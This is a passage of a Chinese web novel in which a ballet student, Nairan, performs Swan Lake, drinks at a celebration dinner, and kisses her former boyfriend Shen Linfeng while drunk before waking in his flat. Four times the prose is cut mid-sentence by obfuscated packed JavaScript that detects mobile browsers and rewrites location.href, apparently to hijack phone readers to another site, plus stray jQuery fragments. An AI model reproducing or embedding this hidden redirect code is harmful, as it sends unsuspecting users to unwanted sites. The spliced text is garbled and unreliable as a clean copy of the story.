她性格直来直去,一不小心把心里话讲了出来,祝银兰在旁边疯狂用手指戳她的腰,示意她不要什么话都说。 “咳咳,没事没事,你坐。” “谢谢。”沈临枫将刚才在门口买来的东西拿给她们,“辛苦你们了。” 毕竟是承借奈然的人情,他半路看到有卖果茶的店面,就顺路买了两杯带过来。 想不到还有意外收获,两个女孩露出惊喜的表情,全然忘了刚才等待的那点不满。 等沈临枫坐下的间隙,李橙月扭过头,在他看不到的地方和祝银兰交换眼神,读懂了彼此眼里的意思。 奈然向来不喜欢麻烦别人,就连带饭这种常见的事情,从入学到现在,她都不曾开过口,这还是她们第一次收到奈然的请求。 原本以为是玩的好的同性朋友,却突然冒出来一个极致养眼的大帅哥,很难不让人多想。 虽然对这个问题充满了好奇,但贸然询问不太礼貌,李橙月将手里多余的节目单给了沈临枫一份,很自然的搭话:“这是节目单,芭蕾表演专业的剧目在倒数第五个,大概在八点左右会开始。” 沈临枫接过节目单:“谢谢。” “你不是我们专业的吧?”李橙月问道,“芭蕾专业的学生比较少,我差不多都知道,看你有点面生。” “我是隔壁工业大学的。” “啊,怪不得。” 简单的交流过后,伴随着音响放出开场音乐,所有校方邀请的贵宾落座完毕,晚会正式开始。 开场照例是校长和领导致辞,轮流发言持续了半个小时,才真正开始晚会的节目。 云艺大在艺术专业方面作为国内首屈一指的院校,学生水平可见一斑,光是舞蹈学院就能细分出二十多种专业 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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沈临枫坐在沙发上,不明所以仰起头看她。 “哥哥。”奈然放慢语调,听起来有种莫名的缱绻意味,她的眸色闪动,像是幽暗中燃烧的一簇火苗,灼热而直白。 她微微俯身,原本垂在背后的长发自双肩两侧散落。 乌黑柔滑的发丝轻扫沈临枫的脸侧,他嗅到属于某种花香的气息。 心跳的速度不可抑制地一再加快,他几乎能听到自己胸腔中“咚咚”的闷响。 怀抱着某种急速膨胀的情感,沈临枫甚至有些不敢直视奈然的眼睛,害怕自己先越了线。 无声的对视只持续了不到几秒钟的时间,在气氛逐渐变得黏稠之前,奈然终于开口:“你想不想看我跳舞?” “嗯?”沈临枫游移的目光终于定格,找回了冷静,“可、可以。” “什么叫可以?”奈然不满地皱了皱眉,用食指戳他的肩膀,“你要说想,还是不想?” 沈临枫喉结滚了滚:“当然……想。” 自从他上了大学,他们见面的次数越来越少,奈然平时除了在表演比赛或者课堂,其他时间基本上不会正式的去跳某一支舞蹈。 听到他肯定的回答,少女直起身,露出一个愉悦的笑容:“只给你跳一段。” 她用手机调出音乐,轻缓悠长的竖琴琶音回荡。 因为知道沈临枫看不出桥段的暗意,她才敢肆无忌惮地跳起剧目《仙女》的选段。 这是独属于他的悸动、渴望与试探。 窗外日暮西垂,天空烧成一片火红,傍晚的热风同时拂动窗帘与奈然洁白的纱裙裙摆。 高雅的管弦乐与外面的虫鸣交织,形成一种奇妙的平衡。 奈然在窗前轻盈跃动,双臂如翼,旋转时就连发丝扬起的弧度都充满了美感,无意间回眸与他对视。 夏末的燥意悄然弥漫。 沈临枫望着窗前翩翩起舞的人,感到目眩神迷。 此时此刻,他觉得,世界上再也不会有第二个像奈然这样美好的人了。 如果可以,他希望能永远守护这份美好。 24. 演出 “下面一组表演,有请舞蹈学院芭蕾表演系为各位带来的剧目《天鹅湖》选段。” 台上身着盛装的主持人报幕结束,提着裙摆走下台。舞台的灯光骤灭,全场陷入静谧的黑暗。 沈临枫听到身边的李橙月小声同祝银兰讲话。 “快快快,你拍淼淼,我拍奈然。” “嗯嗯。” 观众们陷入视觉黑暗的时候,表演舞者纷纷上台,站好点位。 剧目正式开始。 低缓的大提琴音乐响起,台下细细碎碎的交谈声戛然而止,所有人凝神屏气等待。 声调轻扬的小提琴声忽而穿插进来,整个节奏陡然变得轻快,仿佛由庄重的宴会转变到鲜花遍地的山野,清新之气扑面而来。 一束聚光灯降下,聚焦在舞台中央。 台下的沈临枫倏地屏住呼吸。 他的瞳孔倒映出舞台上姿态优雅的人,仿若工艺精美的微观造景水晶球。 此时,偌大的整个礼堂厅内都是暗的,唯有聚光灯下的奈然身披纯白柔光,慢慢打开双臂昂首,像极了森林中睡醒的天鹅舒展羽翼。 一袭白色Tutu在灯光的直射下泛出闪耀的珠光,裙摆处的樱花粉薄纱随着她的动作如流水般摆动。 奈然的长发被盘起,露出漂亮的肩颈线,从头发丝到手指尖,无一不令人赏心悦目。 场上经过最初的寂静,爆发出低低的惊叹声,又在奈然开始独舞时重新归于平静,全神贯注欣赏这场表演。 表演作为选段,从第二幕开始,此时的奥杰塔已经被施加诅咒变成了天鹅,受困于森林中无法离开。 她在森林中独自舞蹈,抒发苦闷与无奈,一举一动活灵活现,技巧与灵动并存,完美演绎出一只在湖边休憩、凫水,抖动羽毛的天鹅。 出演王子一角的高晨睿来到场上,向一见钟情的奥杰塔大胆示爱,开启从试探到默契的双人舞。 如果说表演的第一幕青涩纯爱,那么第二幕便称得上惊艳四座。 中间的下场时间只有五分钟,切换到王子的生日宴会,参与群舞的学生们动作一致且有层次,展示出热闹的舞会场景。 换上另一套服装的奈然跟随着音乐的急速半音阶下行,在华丽的宴会场景中一步步走出。 深紫色缎面的舞裙将她身体的曲线彰显得淋漓尽致,裙长相比刚才的白裙更短,腿部视觉拉长。 她抬起下巴,眼神高傲而诡谲,看向王子时又充满了妩媚诱惑,如同漩涡叫人深陷其中。 鼓点逐渐变得紧凑,击打着观众的耳膜。 这一幕的技巧元素更多,尤其是全剧目最高潮部分的挥鞭转,越到后面整个台下的欢呼声越是高昂。 直到结束32圈的旋转,奈然的轴心足几乎没有大距离偏移,就算放眼整个业界,也是相当高超的水平。 即便表演还没结束,全场情不自禁响起掌声,就连坐在贵宾席的老师们也忍不住纷纷鼓掌。 王子被奥吉莉亚所诱惑,背叛了苦苦等待的奥杰塔,剧目来到尾声。 伤心欲绝的奥杰塔神色悲怆,明明是跳动的舞步,却不再轻盈,徒留沉重与失望,即便王子如何自责挽留,也绝不原谅。 最终,奥杰塔选择投湖自戕。 誓言已破,诅咒无解,这是了结,亦是重生。 弦乐渐停,灯光复明,苍白的舞台瞬间被暖黄色的光笼罩,所有舞者上台,用芭蕾舞者专有的姿势谢幕。 奈然站在最中间,胸膛明显起伏,表情却依然从容。 她后撤右脚,左膝弯曲,提起裙摆轻轻俯身,优雅致礼,随即抬头环视全场,不经意间在某处定格,展现出夺目的笑容。 被她目光锁定的区域顿时沸腾起来,尤其是李橙月,作为同专业的学生,深谙这场表演究竟有多么出彩,振臂高声欢呼。 “啊啊啊奈然你太棒了!!!!” 殊不知坐在她旁边的沈临枫恰好与看过来的奈然隔空对视,呼吸一滞。 周围喧闹的喝彩声仿佛离他越来越远,只剩下目光所及之人。 心跳如擂鼓,恍然让他回到了对奈然表白的那天晚上。 在得知奈然对自己怀抱同样的感情时,难以言述的激动在他身体里炸开 虽然有些不礼貌,但在这之后的剩下几个节目,沈临枫完全无心关注,始终沉浸在那一眼对视当中。 直到晚会结束,陆续开始散场时,才猛然清醒过来。 尽管他很想见奈然,现在就想,但李橙月告诉他结束之后奈然大概率要参加系里面的庆功聚餐,今天可能很晚才能回到宿舍。 考虑到奈然这两天连轴转一定很累,他没再坚持见面的想法,用手机向她发出消息。 沈临枫:表演很精彩[拇指][拇指]像是看了一场电影。 沈临枫:听说你们今天晚上要去聚餐,结束之后好好放松一下吧,手臂如果还疼的话,随时还可以找我。 他握住手机,犹豫再三,还是没忍住打下一行字。 沈临枫:明天……你有时间吗? 他满怀期待地等待回复,但奈然却始终没有回消息,大概是正在忙着表演结束的事情。 等到礼堂的人差不多全部走光,沈临枫收起手机,支着拐杖慢慢朝校外走去。 * 半个小时前。 结束谢幕后走下台,还来不及说话,奈然便被其他参与表演的女生团团围上。 女孩子们不约而同抱在一起,有人甚至喜极而泣。 “奈然你太棒了!” “啊啊啊终于结束了,我要睡他个三天三夜!” “这简直是我职业生涯最好的一次演出!” “说什么呢,你的职业生涯才刚刚开始!” 紧紧抱住奈然的穆淼淼仰天长啸:“我要吃披萨烤肉涮锅!” 她嘹亮的声音引得众人纷纷发笑。 听着耳旁少女们的欢声笑语,奈然也忍不住弯起眼睛,眼眶发热。 男生们站在一旁,有人起哄道:“怎么不带着我们?来来来,一起一起。” “一边去,有你什么事,你们男生也可以相互抱啊。” “我可不要,一帮大老爷们儿有什么好抱的。” 相互打趣之间,杨梦打开门走了进来,脸上是掩盖不住的骄傲之情:“大家赶快收拾东西,二十分钟后门口集合。” 学生们面面相觑,不明所以,有人直接问了出来:“老师,还有别的任务吗?” 杨梦神神秘秘一笑:“当然——请你们吃饭去!不饿的别来啊。” 此话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15203131|161856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一出,所有人像拧了发条一般,兴致勃勃开始行动。 奈然想找自己的背包看一眼手机,半路上被穆淼淼拉去卫生间卸妆,好不容易整理好一切就绪,已经到了集合的时间,她只能拿上包往礼堂的门口走去。 杨梦订的餐厅不远,就在离礼堂最近的西门外,是一家融合菜餐厅,店内装修雅致,经常有大学生在这里约会聚餐。 餐厅里最大的包间正好能坐下他们所有人,分成两个圆桌围坐。 菜刚上齐,就有男生从外面拎着一件啤酒几瓶红酒进来。 杨梦眉毛一挑:“我可没有点酒。” 男生潇洒一挥手:“我请大家!都有谁要喝!” 包间里顿时热闹起来,不少人举起手。 “我我我!” “还有我!” 穆淼淼积极举手:“我想喝红酒!” 说完,还不忘扭头看向奈然:“奈奈,你要喝那个?” “我……”奈然犹豫半晌,还是妥协道:“我喝啤酒吧。” 她从小到大不怎么喝酒,从来也没有喝醉过,所以不清楚自己酒量到底有多少。 但今天是值得庆祝的日子,如果拒绝难免有些扫大家的兴。 可事与愿违,本以为安安静静跟着气氛一起喝两口就行了,偏偏大家今天兴致尤其高昂,先是一轮轮发表感言举杯,接着又开始玩起了游戏。 游戏输掉就会罚酒,就算是杨梦也逃不掉。 喝到最后,将近十二点的时间,终于陆陆续续有人直呼不行,才准备收尾。 奈然最后游戏输掉喝了一杯红酒,脑袋发胀,好在意识还算清醒,她伸手晃了晃已经趴在桌面上的穆淼淼:“小水,走,回去了。” 穆淼淼脑袋埋在手臂里面动了动,含糊开口,一听就是醉的不轻:“我懒得走了,我要睡……” 话还没说完,她已经发出轻微的鼾声。 奈然:“……” 她感觉头更疼了,面颊也在发烫,苦恼要怎么把穆淼淼带回宿舍才好。 这时,穆淼淼放在一旁的手机震动起来。 看到上面的联系人备注,奈然像是看到了救星,接通电话把手机放到穆淼淼耳朵旁边:“小水,你男朋友的电话。” 可惜穆淼淼睡得正香,根本不管是谁,把头扭到另一边不搭理。 别无他法,奈然只得自己拿起手机:“喂?是周彦泽吗?我是奈然。” “哦哦,奈然啊,淼淼呢?她说今天晚上让我去接她,我刚刚打了三个电话都没打通,你们结束了没?” “刚结束。” “那我现在过去啊,拜托你帮我看着她一下。” 奈然只好带着半睡半醒的穆淼淼坐在楼下的大厅等周彦泽过来。 其他一同聚餐的人三三两两结伴离开,餐厅的人越来越少,剩下工作人员在打扫卫生。 又过了二十分钟的时间,奈然觉得自己的脑袋愈发昏沉,酒精的后劲逐渐上来。 “淼淼?” 听到声音,她扭头朝门口看去,瞧见周彦泽大步流星推开门进来,终于松了口气。 刚准备站起来,奈然目光一定,连她自己都不知道,自己的双眼在一瞬间发出光彩,像是碰到了期待已久的事情。 “哥哥!” 25. 剖白 由于酒精多多少少开始麻痹大脑,奈然的神情和行为变得更加贴近本性,比平常要活泼不少。 走在前面的周彦泽一懵,有些不好意思地摸摸头:“哎呦,这、这是不是认错了?怎么突然……” “不是叫你。” 一句轻飘飘的声音从身后传来,周彦泽转头对上沈临枫淡淡的视线,周围莫名像有一股凉风穿过,下意识打了个寒颤,尴尬不已:“哈哈……我就说怎么可能。” 沈临枫只扫了他一眼,向前走去。 奈然站在原地等他走过来,难掩喜悦之情:“你怎么来了?” “听周彦泽说你们在这里聚餐,刚刚结束,我就过来看看。”沈临枫注意到她覆上薄红的整张脸,“喝酒了吗?” “嗯,不过我还好。”奈然看了一眼趴在桌子上睡得正香的穆淼淼,有些无奈:“不过淼淼醉了,需要帮忙送一下。” “我来我来。”后一步走过来的周彦泽抬手示意,目光在奈然和沈临枫两人之间来回巡视了一番,露出一个心神领会的笑容,“你们不用担心,我送她回去。正好,沈哥,你送送奈然。” 奈然不放心地问:“我们一起吧,她已经不太清醒了。” 话音一落,旁边的穆淼淼忽然嚷嚷起来:“周彦泽呢!为什么没来接我?他这个坏蛋,我就知道他又不守信用,我要去找他……” 一听到这话,周彦泽不乐意了,快步走上前拉住摇摇晃晃的穆淼淼:“我说姐姐,你睁开眼睛看看我是谁?” “嗯?”穆淼淼大脑艰难运转了两秒,终于掀起一只眼皮,分辨了半天,拧眉说道,“周彦泽,你……别晃,你晃得我头晕。” “我动都没动!” 周彦泽深知穆淼淼喝醉后匪夷所思的行为,想赶紧把她送回宿舍:“来来来,你能走不能?不能我背你走。” “我能走!就是这路怎么也晃来晃去的……” 周彦泽无奈叹气,架着人熟练的背了起来,对一旁的奈然和沈临枫说:“我得赶紧送她回去,不然她发起酒疯来难搞得很。” 见状,奈然也不好再阻止:“那你们注意安全,今天是校庆,没有宵禁时间,我给你其他两个舍友的联系方式,如果我还没到,麻烦你让她们送小水回宿舍。” “OK,没问题。”周彦泽记下来,背着穆淼淼先一步离开。 看着他的背影,沈临枫提议:“我也送你回去吧。” 奈然点头答应。 从餐厅一出来,顿时被外面的冷空气包围,深秋的夜晚寒风刺骨。 奈然把脖子往衣领里面缩了缩,不太适应急剧变化的温度。 其实,思及到沈临枫受伤的腿,奈然不想麻烦他送自己回去,可想见他的心情要比理性更为强烈,让她变得任性起来。 今天,从舞台上看到他的那一刻,惴惴不安的心情顷刻瓦解,让她恍若回到了十年前参加比赛的那天。 即便已经过了很多年,这种习惯依然深入骨髓,只要有沈临枫在的地方,她就不必担心一切。因为她知道无论如何,都会有一个人在相信着自己。 深夜的街道空荡寂静,一深一浅的脚步声逐渐同频。 头晕脑胀的感觉慢慢扩散,奈然用力眨了眨眼,努力看清脚下的路。 “头痛吗?”沈临枫的声音响起。 “有一点。”奈然抬起头,朝他浅浅一笑,“看来我的酒量也不怎么样嘛,大概两罐啤酒两杯红酒?” 沈临枫也笑了:“这么说,比我还要好一点。” 奈然睁大了眼睛,新奇不已:“真的吗?这么一说,我好像还从来没见过你喝醉过呢。” “还是不要见了,我的酒品很不好的。” “嗯哼?”奈然盯着他看了半天,突然扭过头去:“我才不信,除非你哪天让我看看。” 这回沈临枫相信奈然是真的有点醉了,否则不会说出这么孩子气的话,失笑着说:“这有什么好看的?” 闻言,奈然毫无征兆停下脚步。 沈临枫回头,望见她认真的神情,直勾勾地锁定在自己脸上。 “听说有人喝醉了会哭呢。” “哥哥,你会哭吗?” 沈临枫怔愣半晌,迟疑着回答:“应该……不会吧,为什么问这个?” 为什么?当然是想看才会问。 奈然尚留有清醒,自然不会讲出心里话。 至于为什么突然冒出来这样的想法,她只当自己喝醉了头脑不清醒。 话题又回到今天的演出。 沈临枫由衷的赞叹:“真的很棒,你一直都在进步,很久没有看你跳舞了。” “是啊,上次是在什么时候?”奈然努力回想着,“高二去比赛的时候吗?还是高三集训的时候?那段时间真的每天练舞练到麻木,一离开教室,简直一秒钟都不想再回顾什么舞蹈动作了。” 对于这个问题,沈临枫一清二楚:“最后一次,是在你十八岁生日那天,在你家里。” 奈然猛然噤声,经过他的提示,想起来这一段记忆。 没等她想好怎么回答,听到沈临枫像是自言自语的低声呢喃。 “那天的你,和今天一样,让人移不开目光。” 他轻而含糊的声音一落,周围陷入一段长久的沉默。 嘴唇莫名发干,奈然抿唇不语。 心中的某团火越烧越旺,快要燃尽她的理智。 而身体里的酒精无异于火上浇油。 最终,她脑袋里的某根弦绷断了。 沈临枫感受到衣袖上微弱的拉扯,转眼看向身旁的人。 “哥哥,我手臂有点痛。” 为达目的,她面不改色的撒了谎。 * “咔——” 门合上时发出的扣锁声响,犹如一记锤音砸在沈临枫心头,混乱的大脑终于平息些许,但还残存着一点飘飘然。 他几乎不敢相信,奈然居然愿意主动来到这里,惊喜的情绪不断滋生,可看了一眼坐在沙发上似乎昏昏欲睡的奈然后,他又懊恼地垂下眼眸。 奈然应该是喝醉了,他很清楚,也知道这时候她说出的话不一定出自真心,或许只是酒后的无心之言。 可能第二天酒醒后,奈然会因为他的所作所为而感到生气。 但他无法放弃任何一个能靠近她的机会。 他喜欢她。 无论从前还是现在,从未改变过。 分开数年,在医院重新遇见奈然之前,他其实早已不抱希望。 正因太过于了解奈然,他才知道对方一旦决定的事情,便不会再回头。 无论对别人,还是对他。 两年前在一起的时光于他而言像是一场梦,久久不愿醒来。 刚分手的时候他几乎夜夜无眠,辗转反侧,思考着究竟是哪里出了错。 如果只是厌倦那么简单,奈然何必目露不舍。 那天夜晚,他分明看到,奈然的眼眶也是红的,想必在他看不到的地方哭过。 明白她难过,所以他不会问,也不会纠缠。 无疾而终的感情令人念念不忘,始终无法割舍。 再次重逢,他本想保持理性,却发现自己根本做不到。 那天晚上看到奈然同其他男生并肩而行,脸上偶尔绽出笑意的一瞬间,他的心脏像是被谁狠狠攥紧,挤出名为嫉妒的鲜血。 他才没有表现出的那么大度。 如果可以,他不希望奈然和除自己以外的任何一个人交往。 多么自私的想法。 如果有一天被奈然知道,一定会厌弃他吧。 沈临枫低头望着锅中滚起来的水,心境同样沸腾煎熬。 只要……能给他一个机会,他什么都愿意去做。 在他复杂沉思的间隙,客厅里的奈然早就被另一边软绵绵的叫声吸引了注 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231240|161856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意力。 见沈临枫的房门开着,她没多想直接走了进去,一眼瞧见了挤在床上一角的毛团子们。 侧躺着哺乳的酥酥看到奈然进来,懒懒打了一个哈欠,象征性地叫了两声,毛茸茸的尾巴在床面上来回摆动。 小猫崽们比上次见到要大了一圈,身上长出不同花色的毛,还没有睁眼,挤成一排喝着母乳。 奈然在床边蹲下,聚精会神地看着它们,情不自禁地开口:“长大了这么多呢,下次见你们是不是就会跑会跳了?” 酥酥换了个仰躺的姿势,伸出爪子去够奈然的指尖玩。 奈然笑起来,用手指去逗它玩,无意识自言自语着:“在这里生活是不是很棒?不用担心没有吃的,也不用担心找不到地方睡觉。” 看着一无所觉只顾着玩的酥酥,奈然心中一片柔软:“他那么容易心软,肯定天天都会给你做好吃的吧。” “你和我一样幸运呢,遇见了这么好的人……” 说着说着,被酒精麻痹的脑袋发沉,奈然竟趴在床沿闭上眼睛进入浅眠。 酥酥见状,不再伸爪子玩耍,用舌头轻轻舔了舔她的指尖,继续安静地喂崽。 不一会儿,煮好醒酒汤的沈临枫端着碗从厨房走出,来到静悄悄的客厅,第一时间没找到人,心下一坠。 难道是提前走了吗? 惴惴不安地找了一圈,在看到房间里安然睡着的人时,他紧蹙的眉心一下子舒展开来。 对方坐在床边的地毯上,枕着臂弯酣然入睡,乌黑的发一半铺在床面,一半落在肩头,挡住了大半张脸,只露出恬静的眉眼。 虽然不忍心叫醒她,但这样睡觉时间一久必定会手麻腿酸,容易着凉,沈临枫将碗放在一边,轻轻喊道:“奈然?然然?” 一连叫了好几声,依然没有任何回应。 无奈之下,沈临枫俯身用手晃了晃她的肩膀,试图把人叫醒。 而此时的奈然正处于一种半梦半醒的状态,听到有人在喊自己的名字,从混沌中朦胧睁开眼,视野映入一张熟悉的脸庞。 她一时间分不清今夕何年,是梦境还是现实。 兴许是前段时间那场难以启齿的梦在作祟,在看清面前人后,奈然竟忍不住回想起当时的感觉,下意识觉得自己此时又做了相似的梦。 眼前的沈临枫要比上次的他成熟一些,却有种若即若离的感觉。 仿佛自己不牢牢抓住,他就会随着梦境消失一起离开她的世界。 一想到这种结果,奈然有些焦急地撑着床站起来。 下决心分手之前,她其实不想让他伤心的。 可一想到如果坦白自己与大众不同的取向,沈临枫可能会做出的反应,她便无所适从。 是她退缩了。 她害怕看到对方震惊、不解、甚至是厌恶的表现。 在当时自己的认知中,没有哪个男性会愿意违背传统的男女关系。她一度觉得是自己有问题,直至今日仍然没能走出这样的思维囹圄。 作为代价,她亲手放弃了最喜欢的人。 时至今日,奈然依旧厌弃着这样的自己。 她不是没有尝试过扳正自己的想法,可与生俱来的事情怎么可能随随便便说改变就改变? 积攒多年独自消化的苦闷倾泻而出,奈然情绪上涌,只觉梦到沈临枫实在难得,何不趁这个机会发泄一把。 反正都是梦,想做什么便做了。 她努力控制住略微摇晃的身体,伸手钳住沈临枫的肩膀,上前一步踮起足尖。 她垂着眸,目标明确,动作带着一丝强势,没有看到沈临枫逐渐瞪大的双眼。 唇面覆上微凉柔软的触感,像是贴着清晨枝叶上的露水,抚慰了她焦躁的心。 感情这种东西,就像终年盖雪的火山,平日沉寂安静,一旦爆发,便无法掌控。 所有的忍耐,在重逢后逐渐瓦解,覆水难收。 26. 解释 橙黄色的暖灯中,重叠在一起的影子晃动,映在墙壁和衣柜。 衣服摩擦的声音令人遐思,给予无声夜晚暧昧的躁动。 躺在床上的酥酥撇了撇耳朵,对人类社交的行为表示好奇,两只眼睛睁得溜圆,看看沈临枫,又看看奈然。 唇上的触感和之前的梦里似乎不太一样,但奈然无心去想,觉得现在这样还远远不够。 对方的嘴唇柔软到了极致,印上去如同陷入棉花陷阱,叫人忍不住更用力才好。 她无师自通地偏过头,加深这个携着酒气的吻。 当舌尖触碰到下唇,沈临枫总算从灵魂出窍的状态清醒过来,由于手臂被奈然用力握紧,他只能抬起手腕扶住对方的腰,不知道是该推开还是抱紧。 他心知肚明奈然一定是喝醉了,不能掌控自己的行为,这时候应该推开她,避免事态进一步发展才对。 可他根本舍不得推开。 久违的气息充斥在他的周围,鼓动的心跳几乎要冲出胸膛,浑身的血液仿佛都凝聚在了被奈然亲吻的唇上,发烫、发热,传递出头皮发麻的酥麻感。 他甚至感觉自己的嘴在止不住地轻颤,有些无措抿起唇,呼吸错乱。 这一行为显然引起了奈然的不满,她握住沈临枫的手来到他的肩颈,不容分说地勾住他的脖子,同时另一只手揽住他的后背,倾身向前。 似乎是感受到了他的顺从,奈然动作愈发出格,用齿尖慢条斯理地碾着唇瓣,耐不住性子地轻咬。 丝丝密密的疼痛终于唤醒了沈临枫半沉沦的意志,他撑着奈然的腰,试图找机会开口。 “等……唔……” 想偏开头,却被奈然的手控制住后颈,刚分开一点距离,便又被追上。 沈临枫不想对她用蛮力,一时找不到更好的解决办法。 可一想到奈然第二天醒来万一想起这件事,恐怕会觉得他没有分寸,明知道她喝醉了酒却不阻止,到时候他们之间的关系只会倒退到起点。 他好不容易才能与她重新建立起联系,绝不想出任何差错。 沈临枫下定决心,手上使了些劲,终于拉开些许距离。 他颔首看去,对上奈然醉意尽显的眼。 沈临枫蓦然松了力,怔怔望着她的脸。 昏暗的视线中,女生水润漂亮的眸向上半撩起,发丝略显凌乱贴在嘴角和眼尾,目光深凝,像是猎人锁定着自己的猎物。 沈临枫下意识吞咽口水,全然忘了自己要做什么。 直到现在,他才深刻的意识到,奈然和从前不一样了。 至于哪里不一样,沈临枫无法用一句话概括。 但无法否认的是,他被这种变化深深吸引,挪不开目光,在她的凝视中一点一点败下阵来。 趁他不动,奈然手掌用力,将他推倒在床上,俯身撑在床面。 此时此刻,她的心境与沈临枫截然不同。 为什么想要推开她? 难道哥哥已经不喜欢她了吗? 不可以。 绝对不可以。 就算我曾经推开了你,那也是没办法的事情,我也不想的。 哥哥从不会拒绝我,也不能反抗我。 可你为什么要推开我,即使在我的梦里,你也不愿意吗? 所以,当年我才不敢说出口的啊。 如果连哥哥你都接受不了,有谁能接受一个这样的我呢? 我真的不正常吗? 她盯着沈临枫欲言又止的脸,缓缓低头。 心中天人交战,沈临枫自暴自弃般闭上了眼,唾弃自己自私的放任错误发展,害怕着奈然清醒后两人的关系会退回原点。 没等他继续往后去想,湿凉的泪毫无征兆落在颊边。 他猛地睁开眼,看到伤心落泪的奈然,繁杂思绪荡然无存,慌张地问:“怎么了?哪里不舒服吗?” 一滴一滴的泪珠掉落在他的脸侧,奈然不回答他的问题,只是无声的哭泣。 沈临枫以为是自己刚才用力过度,扯到了她手臂上的伤,毕竟刚才走在半路上奈然就说手臂痛。 他满脸愧疚,想要坐起来:“要不我给你按按吧……” 话音未落,奈然已经伏下了身,将脸埋在他颈边,沉默着靠近了他。 饱含苦涩的眼泪浸湿衣料,沈临枫的心跟着一起揪紧,却不知她为何而哭,又或者为谁而哭。 从前的她会向自己倾诉许多烦恼,如今却一言不发。 沈临枫轻叹一口气,抬手缓缓抱住了怀中的人,掌心落在她的脊背轻拍。 他没说任何安慰的话语,因为他知道奈然此时需要一个沉默发泄的空间。 不知过了多久,耳畔的呼吸声逐渐变得绵长,掌下微微颤动的身体归于平静。 沈临枫试着喊道:“然然?” 一连喊了好几声没有回应,才确定奈然已经睡着了。 她刚哭过,沈临枫不忍心再将她叫醒,揽着她的背,小心翼翼侧过身,将自己的半个身子从她身下撤开,再动作温柔地帮她摆正肩膀,仰躺在床上。 哭红的眼睛紧紧闭着,眼角还有未消去地泪痕。 静静看了一会儿,沈临枫悄无声息从房间里面,片刻后拿着毛巾重新回来,坐到床边。 热气蒸腾的毛巾拭去奈然脸上残留的泪痕,敷在眼周。 沈临枫仔细地帮她擦过脸,脱掉鞋袜盖上被子,将酥酥和所有小猫崽连带猫窝搬出卧室,合上房门,防止小猫总叫吵到她。 整理好东西,他坐到沙发上,望向关着门的卧室,回想着今晚发生的事情。 今天晚上发生的一切都有些超出他的预料,让他感到不知所措。 手指拂过嘴唇,刚才的情景还历历在目,沈临枫耳尖发烫,不知出于什么心理抿了抿唇。 原来奈然喝醉后是这样的。 他暗自下决心,坚决不能让别人看到奈然喝醉的模样。 她……为什么要亲自己呢?难道是把现在和两年前弄混了吗? 他想起两年前表白后初次接吻的时候,两个人双双红透了整张脸,紧张的闭上眼睛相互靠近,甚至可以听到对方的心跳声。 但一想到奈然伤心流泪,他的神情逐渐变得落寞。 奈然,你在为什么事情难过呢? * 令人神经紧绷的闹铃声突兀响起。 奈然原本舒展的眉头微微蹙起,翻了个身凭借习惯去摸放在床边的手机,却摸了个空。 连续不断的声音吵得她大脑嗡嗡作响,终于在枕头边摸到手机,拿起来关掉闹钟,顺便看了一眼时间。 才七点钟,今天休息,可以再睡一会儿。 她安心的闭上眼睛。 十秒钟后,蓝灰色的被子被一把掀开。 奈然震惊地环顾四周,眨了好几次眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240058|161856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,才确认这不是宿舍,而是沈临枫的房间。 救命! 她都干了什么! 喝醉后的记忆跟着意识一起回笼,奈然坐在床上扶额,懊恼至极。 她居然把现实当成了自己的梦!还、还…… 还强吻了沈临枫! 真丢人啊,亲完之后还抱着人不撒手狂哭。 她把脸埋进臂弯,简直想找个地缝钻进去。 怎么在他面前就是控制不住情绪呢? 整整做了半个小时的心里建设,奈然才从床上下来,穿上沈临枫提前放在床边的拖鞋,尽量放轻动作打开门。 刚探出头,好巧不巧和关门回来的沈临枫对上眼。 两人四目相对,一个比一个安静。 在气氛变得尴尬之前,沈临枫轻咳了一声,主动开口:“我买了早餐,一起吃吧。” 奈然目光飘忽:“哦,好。” “卫生间在你左手边,我放了新的牙刷和杯子,洗完来吃吧。” 奈然如蒙大赦,点头答应后飞快走进卫生间,隔绝视线后松了一口气。 然而,该面对的事情总要面对,洗漱过后,她返回客厅,努力让自己装作若无其事的模样,坐在沈临枫对面。 桌子上摆好了南瓜粥和早点,散发出诱人的香气。 奈然却没多少食欲,依然思考着要怎么开口解释昨晚的事情。 装作不记得糊弄过去?这也太不负责任了。 而沈临枫似乎也在等着她的态度,安静用勺子拨开粥中撒下的白糖,没有故意转移话题。 是啊,他肯定也觉得莫名奇妙吧,奈然心想。 